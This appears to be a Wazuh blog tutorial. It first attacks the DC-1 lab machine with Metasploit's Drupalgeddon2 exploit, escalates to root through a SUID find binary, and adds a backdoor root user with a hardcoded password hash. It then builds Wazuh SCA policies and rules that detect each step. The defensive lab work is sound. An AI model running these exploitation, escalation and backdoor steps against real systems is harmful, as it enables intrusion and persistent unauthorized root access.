We are going to attack a vulnerable server using Metasploit and then we will see how to use Wazuh to detect various of its attacks. This framework is the most used penetration testing framework in the world. It contains a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection.


We will simulate a real attack where the attacker uses Metasploit to exploit vulnerabilities in a Linux system and gains root access. Then, we will repeat the attack but this time with Wazuh installed in the vulnerable system.

With this goal, we prepare a small lab with three virtual machines:

  • Victim: The vulnerable machine DC:1 from VulnHub.
  • Attacker: Kali Linux or you can manually install Metasploit in any virtual machine.
  • Wazuh: The Wazuh OVA is the easiest method to setup the Wazuh Manager integrated with the Elastic Stack.

We assume that the virtual machines have been previously installed and that they are in the same network.

Attacking the vulnerable machine

In our attacker virtual machine (Kali), we run the netdiscover command to find information about the network.

root@kali:/# netdiscover
IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------   08:00:27:9b:66:0a      1      60  PCS Systemtechnik GmbH    08:00:27:1b:cc:6e      1      60  PCS Systemtechnik GmbH

There are two IP addresses. Let’s scan both with Nmap.

root@kali:/# nmap -sV
Nmap scan report for
Host is up (0.00011s latency).
Not shown: 997 closed ports
22/tcp  open  ssh       OpenSSH 7.4 (protocol 2.0)
111/tcp open  rpcbind   2-4 (RPC #100000)
443/tcp open  ssl/https

Since port 443 is running, we open the IP in the browser: When we access, we see the Wazuh WUI, so this is the IP address of our Wazuh virtual machine.

Now, we scan the other IP address:

root@kali:/# nmap -sV
Nmap scan report for
Host is up (0.00016s latency).
Not shown: 997 closed ports
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)

Port 80 HTTP is running, so we open that IP ( in our browser:

Vulnerable Drupal server. Screenshot.

This looks like our target system (DC-1). It is running a Web server with Drupal. Our next step is to check if Metasploit has some available exploit for this CMS.

root@kali:/# msfconsole
msf5 > search drupal
Matching Modules

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   1  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   4  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   5  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   6  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution

We try one of the most recent and ranked: Drupal Drupalgeddon 2 Forms API Property Injection. This attack exploits the CVE-2018-7600 vulnerability.

msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts
rhosts =>
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 
[*] Sending stage (38288 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-06-09 12:17:42 +0200

meterpreter > sysinfo
Computer    : DC-1
OS          : Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)

The exploit worked successfully and we are login on the server DC-1 with the user www-data. We need a way to gain root privileges. So, we get a reverse shell and spawn a TTY shell using Python.

meterpreter > shell
Process 4222 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'

Then, we try to find files with SUID permission:

www-data@DC-1:/var/www$ find /usr/bin -perm -u=s -type f
find /usr/bin -perm -u=s -type f

There are several binaries with the SUID bit set. Checking this reference, we realized that the find binary can be exploited if the SUID bit is set:

www-data@DC-1:/var/www$ find . -exec /bin/sh \; -quit
find . -exec /bin/sh \; -quit
# whoami

Finally, we have root access. Let’s create another root user to access via SSH easily:

/usr/sbin/useradd -ou 0 -g 0 toor
sed -i 's/toor:!:/toor:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4\/cVqpO00:/g' /etc/shadow

Now, we can login via SSH with the toor user and root password:

root@kali:/# ssh toor@
toor@'s password: 

# bash

The attack was successful. We were able to create a root user with permanent access to the virtual machine exploiting a Drupal vulnerability and a wrong permission configuration.

Installing and configuring a Wazuh agent in the vulnerable machine

In this section, we will prepare our Wazuh Manager to detect the previous attack. Then, we will install a Wazuh agent in the vulnerable machine.

Step 1: Configuring SCA to detect vulnerable versions of Drupal

The exploit that we used works with the following Drupal versions according to the CVE-2018-7600:

  • Before 7.58
  • 8.x before 8.3.9
  • 8.4.x before 8.4.6
  • 8.5.x before 8.5.1

Wazuh is able to detect vulnerabilities in the installed applications using the Vulnerability detector module: the agent collects the list of installed application and they are correlated with vulnerability feeds like the National Vulnerability Database. In our case, since Drupal is installed using a zip file instead of a package, we can’t use the Vulnerability detector module but we can create our SCA policy to check if we have a vulnerable version of Drupal.

Create the SCA policy:

[root@manager ~]# vi /var/ossec/etc/shared/default/sca_drupal.yaml
# Security Configuration Assessment
# Drupal
  id: "drupal"
  file: "drupal.yml"
  name: "Security checks for Drupal"
  description: "Find vulnerable versions of Drupal"
  - id: 100001
    title: "Drupal Drupalgeddon 2 Forms API Property Injection (CVE-2018-7600)"
    description: "Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations."
      - https://www.cvedetails.com/cve/CVE-2018-7600/
      - https://nvd.nist.gov/vuln/detail/CVE-2018-7600
      - https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2
    condition: none
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && r:\p6.\d+'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:\p7.(\d+) compare < 58'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:\p8.(\d+) compare < 3'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:\p8.3.(\d+) compare < 9'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:\p8.4.(\d+) compare < 6'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:\p8.5.(\d+) compare < 1'

Enable the SCA policy in your agents:

[root@manager ~]# vi /var/ossec/etc/shared/default/agent.conf

Step 2: SCA configuration to detect dangerous binaries with SUID bit set

During the attack, it was possible to gain root access due to the SUID bit set in the find command. We can create an SCA policy to alert about this kind of binaries.

Since some binaries have the SUID bit legitimately, it is necessary to exclude them. We use the default list created by Anon-Exploiter/SUID3NUM.

Create the SCA policy:

[root@manager ~]# vi /var/ossec/etc/shared/default/sca_systemfiles.yaml
# Security Configuration Assessment
# System files

  id: "system-files"
  file: "system-files.yml"
  name: "Security checks for system files"
  description: "Analyse system files to find vulnerabilities"

  - id: 100002
    title: "Dangerous binaries with SUID bit set found"
    description: "Binaries with SUID bit set can result in a root shell."
    condition: none
      - 'c:find /usr/bin -perm -u=s -type f -printf "%y:%p\n" -> !r:arping|at|bwrap|chfn|chrome-sandbox|chsh|dbus-daemon-launch-helper|dmcrypt-get-device|exim4|fusermount|gpasswd|helper|kismet_capture|lxc-user-nic|mount|mount.cifs|mount.ecryptfs_private|mount.nfs|newgidmap|newgrp|newuidmap|ntfs-3g|passwd|ping|ping6|pkexec|polkit-agent-helper-1|pppd|snap-confine|ssh-keysign|su|sudo|traceroute6.iputils|ubuntu-core-launcher|umount|VBoxHeadless|VBoxNetAdpCtl|VBoxNetDHCP|VBoxNetNAT|VBoxSDL|VBoxVolInfo|VirtualBoxVM|vmware-authd|vmware-user-suid-wrapper|vmware-vmx|vmware-vmx-debug|vmware-vmx-stats|Xorg.wrap|chage|crontab|^"$'

Enable the SCA policy in your agents:

[root@manager ~]# vi /var/ossec/etc/shared/default/agent.conf

Step 3: Detecting meterpreter

If we check the list of process running in the vulnerable machine during the attack, we will see some suspicious processes:

root@DC-1:/# ps -eo user,pid,cmd | grep www-data
www-data  4428 sh -c php -r 'eval(base64_decode(Lyo8P3B...));'
www-data  4429 php -r eval(base64_decode(Lyo8P3B...));

Also, we cand find an open connection for the 4429 PID:

root@DC-1:/# netstat -tunap | grep 4429
tcp        0      0       ESTABLISHED 4429/php

We can consider that a process trying to evaluate some base64 code is an unusual situation and we should alert about it. So, we are going to run a command that lists the processes in our agents. Then, we will generate an alert if there is any process with the string eval(base64_decode.

Configure the command to list the processes:

[root@manager ~]# vi /var/ossec/etc/shared/default/agent.conf
<wodle name="command">
    <command>ps -eo user,pid,cmd</command>

Create the rule to detect processes evaluating base64 code:

[root@manager ~]# vi /var/ossec/etc/rules/local_rules.xml
<group name="wazuh,">
    <rule id="100001" level="0">
        <description>List of running process.</description>

    <rule id="100002" level="10">
        <description>Reverse shell detected.</description>

Step 4: Applying previous changes

Restart the Wazuh manager service to apply the new rules:

[root@manager ~]# systemctl restart wazuh-manager

Step 5: Installing the Wazuh agent

We recommend restarting the vulnerable machine to remove any trace from the previous attack.

Access to the vulnerable machine using the toor:root credentials and install the Wazuh agent. In our case, the manager is located in as checked in the previous section.

root@kali:/# ssh toor@
toor@'s password: 
# bash
root@DC-1:/# curl https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.12.3-1_i386.deb -o wazuh-agent.deb
root@DC-1:/# WAZUH_MANAGER="" dpkg -i wazuh-agent.deb

Since we are configuring our agents remotely from the manager and the configuration contains commands (in SCA and command features), we need to enable the following settings in the agent:

root@DC-1:/# echo -e "sca.remote_commands=1\nwazuh_command.remote_commands=1" >> /var/ossec/etc/local_internal_options.conf

Finally, restart our agent to apply the changes:

root@DC-1:/# service wazuh-agent restart

Detecting the attack with Wazuh

We should see our agent DC-1 (004) Active in the Wazuh WUI:

Wazuh agent overview. Screenshot.

Once the agent is running, it will perform the SCA scans for our Drupal and System files policies. Also, the default policies for our agent (CIS benchmark for Debian/Linux 7 L1/L2) will be executed. Check the scan results in the SCA tab of your agent:

SCA (Security Configuration Assessment) overview. Screenshot.

The policies show several checks failing. Let’s review our policies in detail:

System files policy

System file policy. Screenshot.

Drupal policy

Drupal policy. Screenshot.

There are two outstanding failed checks (Drupal version and SUID files). Fixing both, we can prevent the attack.

Now, we repeat the attack described in the first section:

root@kali:/# msfconsole
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts
rhosts =>
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 
[*] Sending stage (38288 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-06-12 12:08:23 +0200

meterpreter > getpid
Current pid: 7785

The new rules are detecting the meterpreter session:

Rule for meterpreter session. Screenshot.

Also, Metasploit generates a log in the Apache server during the exploitation and the Wazuh rule engine is matching the log with the rule Web server 400 error code (ID: 31101), indicating a possible attack.

Finally, if we add another root user as we did in the first attack, Wazuh will alert about the creation of the user as well as the SSH login:

root@kali:/# msfconsole
meterpreter > shell
Process 8998 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@DC-1:/var/www$ find . -exec /bin/sh \; -quit
find . -exec /bin/sh \; -quit
# /usr/sbin/useradd -ou 0 -g 0 toornew
/usr/sbin/useradd -ou 0 -g 0 toornew
# sed -i 's/toornew:!:/toornew:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4\/cVqpO00:/g' /etc/shadow
sed -i 's/toornew:!:/toornew:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4\/cVqpO00:/g' /etc/shadow

[root@manager ~]# ssh toornew@

Login rules. Screenshot.


Security Configuration Assessment (SCA) allows us to detect attack vectors used by tools like Metasploit. Using a combination of the default CIS policies and custom policies like the ones explained in this post is a key priority to guarantee that our endpoints are hardened properly. Checking these alerts is a daily task. In addition, the command feature along with the log analysis engine allows us to detect a wide variety of attacks.

If you have any questions about this, don’t hesitate to check out our documentation to learn more about Wazuh or join our community where our team and contributors will help you.